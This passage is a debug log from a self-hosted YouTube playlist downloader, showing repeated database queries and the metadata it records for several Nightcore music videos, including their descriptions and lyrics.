s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:01.830 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:01.830 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:01.830 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:01.831 [info] Sent 200 in 82ms 22:23:02.807 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "The song is 'Finish me' from newgrounds by Atomika (AtomicInc)\r\n\r\nthe link is: http://www.newgrounds.com/audio/listen/90035", "duration" => 154, "filename" => "/downloads/Nightcore/Nightcore/2008-08-03Trance - Finish Me[q3XN_fcbTtA].m4a", "id" => "q3XN_fcbTtA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=q3XN_fcbTtA", "playlist_index" => 16, "timestamp" => 1217805737, "title" => "Trance - Finish Me", "upload_date" => "20080803"} 22:23:02.808 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=978.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:02.808 [debug] QUERY OK source="sources" db=0.1ms idle=978.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:02.809 [debug] QUERY OK source="media_items" db=0.1ms idle=978.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2008-08-03 23:22:17Z], 1] 22:23:02.980 [debug] QUERY OK source="media_items" db=171.1ms idle=978.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The song is 'Finish me' from newgrounds by Atomika (AtomicInc)\r\n\r\nthe link is: http://www.newgrounds.com/audio/listen/90035", "Trance - Finish Me", "526e5243-a48a-4b55-87e7-d5b4ab6ffc43", false, "q3XN_fcbTtA", 154, false, "https://www.youtube.com/watch?v=q3XN_fcbTtA", 16, "/downloads/Nightcore/Nightcore/2008-08-03Trance - Finish Me[q3XN_fcbTtA].m4a", false, false, 1, [], 1, ~U[2008-08-03 23:22:17Z], ~U[2026-07-24 02:23:02Z], ~U[2026-07-24 02:23:02Z], "The song is 'Finish me' from newgrounds by Atomika (AtomicInc)\r\n\r\nthe link is: http://www.newgrounds.com/audio/listen/90035", "Trance - Finish Me", "q3XN_fcbTtA", 154, false, "https://www.youtube.com/watch?v=q3XN_fcbTtA", "/downloads/Nightcore/Nightcore/2008-08-03Trance - Finish Me[q3XN_fcbTtA].m4a", false, 1, ~U[2008-08-03 23:22:17Z]] 22:23:02.981 [debug] QUERY OK source="sources" db=0.5ms idle=172.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:02.982 [debug] QUERY OK source="media_profiles" db=0.2ms idle=173.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:02.983 [debug] QUERY OK source="media_items" db=0.6ms idle=173.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [16] 22:23:02.984 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Time for an awesome new #NIGHTCORE track, When You Leave! As always, lyrics are shown onscreen 😉 Please leave a like, comment, and if you really enjoyed it, please subscribe! 😊\n\nMusic: Alina - When You Leave (Numa Numa) (Basshunter Radio Edit)\n\nSupport the artists:\n- iTunes: http://bit.ly/19r57Qt\n- Amazon: http://amzn.to/1byvOnO\n- Beatport: http://btprt.dj/17NhORr\n\nListen to all songs on my channel, non-stop, 24/7:\nhttps://www.youtube.com/maikel6311/live\n\nJoin #Maikel6311's Nightcore community on Discord:\nhttp://discord.gg/ppdeQgk\n\nCheck out my NIGHTCORE videos:\nhttps://www.youtube.com/watch?v=d7lbQZsOYxM&list=PL4A1B368254439740\n\nCheck out my TRANCE videos:\nhttps://www.youtube.com/watch?v=Fl2FQ7qIIsg&list=PL77D8FE68A35A932A\n\nAll my playlists can be found here:\nhttps://www.youtube.com/user/Maikel6311/playlists\n\nFollow my channel on Facebook:\nhttp://fb.me/Maikel6311\n\nCheck out my channel's Twitter feed:\nhttps://twitter.com/Maikel631\n\nWant to request a song? Shoot me a message on Soundcloud:\nhttps://soundcloud.com/Maikel631\n\nSupport my channel using Patreon:\nhttp://patreon.com/Maikel6311\n\nImage Link: http://bit.ly/18Hil8N", "duration" => 160, "filename" => "/downloads/Nightcore/Nightcore/2011-07-10Nightcore - When You Leave (Numa Numa)[KmDQuwJWs84].m4a", "id" => "KmDQuwJWs84", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KmDQuwJWs84", "playlist_index" => 17, "timestamp" => 1310337532, "title" => "Nightcore - When You Leave (Numa Numa)", "upload_date" => "20110710"} 22:23:02.984 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:02.985 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:02.985 [debug] QUERY OK source="media_items" db=0.1ms idle=2.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2011-07-10 22:38:52Z], 1] 22:23:03.248 [debug] QUERY OK source="media_items" db=262.1ms idle=2.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Time for an awesome new #NIGHTCORE track, When You Leave! As always, lyrics are shown onscreen 😉 Please leave a like, comment, and if you really enjoyed it, please subscribe! 😊\n\nMusic: Alina - When You Leave (Numa Numa) (Basshunter Radio Edit)\n\nSupport the artists:\n- iTunes: http://bit.ly/19r57Qt\n- Amazon: http://amzn.to/1byvOnO\n- Beatport: http://btprt.dj/17NhORr\n\nListen to all songs on my channel, non-stop, 24/7:\nhttps://www.youtube.com/maikel6311/live\n\nJoin #Maikel6311's Nightcore community on Discord:\nhttp://discord.gg/ppdeQgk\n\nCheck out my NIGHTCORE videos:\nhttps://www.youtube.com/watch?v=d7lbQZsOYxM&list=PL4A1B368254439740\n\nCheck out my TRANCE videos:\nhttps://www.youtube.com/watch?v=Fl2FQ7qIIsg&list=PL77D8FE68A35A932A\n\nAll my playlists can be found here:\nhttps://www.youtube.com/user/Maikel6311/playlists\n\nFollow my channel on Facebook:\nhttp://fb.me/Maikel6311\n\nCheck out my channel's Twitter feed:\nhttps://twitter.com/Maikel631\n\nWant to request a song? Shoot me a message on Soundcloud:\nhttps://soundcloud.com/Maikel631\n\nSupport my channel using Patreon:\nhttp://patreon.com/Maikel6311\n\nImage Link: http://bit.ly/18Hil8N", "Nightcore - When You Leave (Numa Numa)", "a08d65a5-6346-46ac-a3ff-097dd38dba24", false, "KmDQuwJWs84", 160, false, "https://www.youtube.com/watch?v=KmDQuwJWs84", 17, "/downloads/Nightcore/Nightcore/2011-07-10Nightcore - When You Leave (Numa Numa)[KmDQuwJWs84].m4a", false, false, 1, [], 1, ~U[2011-07-10 22:38:52Z], ~U[2026-07-24 02:23:02Z], ~U[2026-07-24 02:23:02Z], "Time for an awesome new #NIGHTCORE track, When You Leave! As always, lyrics are shown onscreen 😉 Please leave a like, comment, and if you really enjoyed it, please subscribe! 😊\n\nMusic: Alina - When You Leave (Numa Numa) (Basshunter Radio Edit)\n\nSupport the artists:\n- iTunes: http://bit.ly/19r57Qt\n- Amazon: http://amzn.to/1byvOnO\n- Beatport: http://btprt.dj/17NhORr\n\nListen to all songs on my channel, non-stop, 24/7:\nhttps://www.youtube.com/maikel6311/live\n\nJoin #Maikel6311's Nightcore community on Discord:\nhttp://discord.gg/ppdeQgk\n\nCheck out my NIGHTCORE videos:\nhttps://www.youtube.com/watch?v=d7lbQZsOYxM&list=PL4A1B368254439740\n\nCheck out my TRANCE videos:\nhttps://www.youtube.com/watch?v=Fl2FQ7qIIsg&list=PL77D8FE68A35A932A\n\nAll my playlists can be found here:\nhttps://www.youtube.com/user/Maikel6311/playlists\n\nFollow my channel on Facebook:\nhttp://fb.me/Maikel6311\n\nCheck out my channel's Twitter feed:\nhttps://twitter.com/Maikel631\n\nWant to request a song? Shoot me a message on Soundcloud:\nhttps://soundcloud.com/Maikel631\n\nSupport my channel using Patreon:\nhttp://patreon.com/Maikel6311\n\nImage Link: http://bit.ly/18Hil8N", "Nightcore - When You Leave (Numa Numa)", "KmDQuwJWs84", 160, false, "https://www.youtube.com/watch?v=KmDQuwJWs84", "/downloads/Nightcore/Nightcore/2011-07-10Nightcore - When You Leave (Numa Numa)[KmDQuwJWs84].m4a", false, 1, ~U[2011-07-10 22:38:52Z]] 22:23:03.248 [debug] QUERY OK source="sources" db=0.2ms idle=263.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:03.249 [debug] QUERY OK source="media_profiles" db=0.3ms idle=263.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:03.249 [debug] QUERY OK source="media_items" db=0.3ms idle=263.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [17] 22:23:03.249 [debug] Current batch of media processed. Will check again in 1000ms 22:23:04.251 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Heres Nightcore With the song Dam Dadi Do+Lycris\r\n\r\nDam dadi doo dam dam didoodi dam (4x)\r\n\r\nWhen the morning come come\r\nI'm dancing like you're dumb dumb\r\nAnd when the groove is high\r\nwhen dummies jump to sky\r\n\r\nif you feel the groove groove\r\nthe dummies have to move move\r\ncan you feel the beat the beat the beat\r\n\r\nYou never tell me what is wrong \r\n'cause now it's time to be alone\r\nlet me love you everyday \r\nso long you let the dummies play\r\n\r\ndance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (4x)\r\n\r\nDance dance to the beat\r\n\r\nThey tell me let's come home home\r\nThe party going on on\r\nWe only have to dance\r\nDo dummies fall the trance\r\n\r\nIf you feel the groove groove\r\nThe dummies have to move move\r\nCan you feel the beat the beat the beat\r\n\r\nYou never tell me whatis wrong\r\n'cause now it's time to be alone\r\nLet me love you everyday\r\nSo long you let the dummies play\r\n\r\nDance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (8x)\r\n\r\nNever tell me what is wrong\r\nLet me love you everyday\r\n\r\nDam dadi doo dam dam didoodidam (4x)", "duration" => 165, "filename" => "/downloads/Nightcore/Nightcore/2009-07-07Nightcore - Dam Dadi Do[6SCQyBcHeDg].m4a", "id" => "6SCQyBcHeDg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6SCQyBcHeDg", "playlist_index" => 18, "timestamp" => 1246996924, "title" => "Nightcore - Dam Dadi Do", "upload_date" => "20090707"} 22:23:04.252 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:04.252 [debug] QUERY OK source="sources" db=0.4ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:04.253 [debug] QUERY OK source="media_items" db=0.3ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2009-07-07 20:02:04Z], 1] 22:23:04.465 [debug] QUERY OK source="media_items" db=211.4ms idle=1004.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Heres Nightcore With the song Dam Dadi Do+Lycris\r\n\r\nDam dadi doo dam dam didoodi dam (4x)\r\n\r\nWhen the morning come come\r\nI'm dancing like you're dumb dumb\r\nAnd when the groove is high\r\nwhen dummies jump to sky\r\n\r\nif you feel the groove groove\r\nthe dummies have to move move\r\ncan you feel the beat the beat the beat\r\n\r\nYou never tell me what is wrong \r\n'cause now it's time to be alone\r\nlet me love you everyday \r\nso long you let the dummies play\r\n\r\ndance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (4x)\r\n\r\nDance dance to the beat\r\n\r\nThey tell me let's come home home\r\nThe party going on on\r\nWe only have to dance\r\nDo dummies fall the trance\r\n\r\nIf you feel the groove groove\r\nThe dummies have to move move\r\nCan you feel the beat the beat the beat\r\n\r\nYou never tell me whatis wrong\r\n'cause now it's time to be alone\r\nLet me love you everyday\r\nSo long you let the dummies play\r\n\r\nDance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (8x)\r\n\r\nNever tell me what is wrong\r\nLet me love you everyday\r\n\r\nDam dadi doo dam dam didoodidam (4x)", "Nightcore - Dam Dadi Do", "e43848c3-a508-436f-8d39-31ffb6dd17e2", false, "6SCQyBcHeDg", 165, false, "https://www.youtube.com/watch?v=6SCQyBcHeDg", 18, "/downloads/Nightcore/Nightcore/2009-07-07Nightcore - Dam Dadi Do[6SCQyBcHeDg].m4a", false, false, 1, [], 1, ~U[2009-07-07 20:02:04Z], ~U[2026-07-24 02:23:04Z], ~U[2026-07-24 02:23:04Z], "Heres Nightcore With the song Dam Dadi Do+Lycris\r\n\r\nDam dadi doo dam dam didoodi dam (4x)\r\n\r\nWhen the morning come come\r\nI'm dancing like you're dumb dumb\r\nAnd when the groove is high\r\nwhen dummies jump to sky\r\n\r\nif you feel the groove groove\r\nthe dummies have to move move\r\ncan you feel the beat the beat the beat\r\n\r\nYou never tell me what is wrong \r\n'cause now it's time to be alone\r\nlet me love you everyday \r\nso long you let the dummies play\r\n\r\ndance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (4x)\r\n\r\nDance dance to the beat\r\n\r\nThey tell me let's come home home\r\nThe party going on on\r\nWe only have to dance\r\nDo dummies fall the trance\r\n\r\nIf you feel the groove groove\r\nThe dummies have to move move\r\nCan you feel the beat the beat the beat\r\n\r\nYou never tell me whatis wrong\r\n'cause now it's time to be alone\r\nLet me love you everyday\r\nSo long you let the dummies play\r\n\r\nDance to the beat dance dance to the beat (2x)\r\n\r\nDam dadi doo dam dam didoodidam (8x)\r\n\r\nNever tell me what is wrong\r\nLet me love you everyday\r\n\r\nDam dadi doo dam dam didoodidam (4x)", "Nightcore - Dam Dadi Do", "6SCQyBcHeDg", 165, false, "https://www.youtube.com/watch?v=6SCQyBcHeDg", "/downloads/Nightcore/Nightcore/2009-07-07Nightcore - Dam Dadi Do[6SCQyBcHeDg].m4a", false, 1, ~U[2009-07-07 20:02:04Z]] 22:23:04.466 [debug] QUERY OK source="sources" db=0.3ms idle=214.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:04.466 [debug] QUERY OK source="media_profiles" db=0.1ms idle=214.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:04.467 [debug] QUERY OK source="media_items" db=0.2ms idle=213.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18] 22:23:04.467 [debug] Current batch of media processed. Will check again in 1000ms 22:23:05.467 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "「ポケモン feat. 初音ミク VOLTAGE Live!」\n\nhttps://www.project-voltage.jp/live2026/\n2026/3/20(金・祝)〜22(日) LaLa arena TOKYO-BAY\n\nKanariaです。\n\nMusic / Kanaria\nLyrics / Kanaria / Project VOLTAGE\n・https://x.com/Kanaria390\n\nIllustration / LAM\n・https://x.com/ramdayo1122\n \n配信 https://karent.jp/album/4267\n\noffvocal https://www.project-voltage.jp/music.html#mv20\n\nポケモン feat. 初音ミク Project VOLTAGE 18 Types/Songs\n\nhttps://www.project-voltage.jp/\nhttps://x.com/PokeMikuVOLTAGE\n\n©2024 Pokémon. ©1995-2024 Nintendo/Creatures Inc./GAME FREAK inc.\n©Crypton Future Media, INC.\n\n#kanaria #チャンピオン #ポケミク", "duration" => 137, "filename" => "/downloads/Nightcore/Nightcore/2024-07-19【初音ミク】チャンピオン【Kanaria】[VxjledMkwyk].m4a", "id" => "VxjledMkwyk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VxjledMkwyk", "playlist_index" => 19, "timestamp" => 1721381406, "title" => "【初音ミク】チャンピオン【Kanaria】", "upload_date" => "20240719"} 22:23:05.468 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:05.468 [debug] QUERY OK source="sources" db=0.1ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 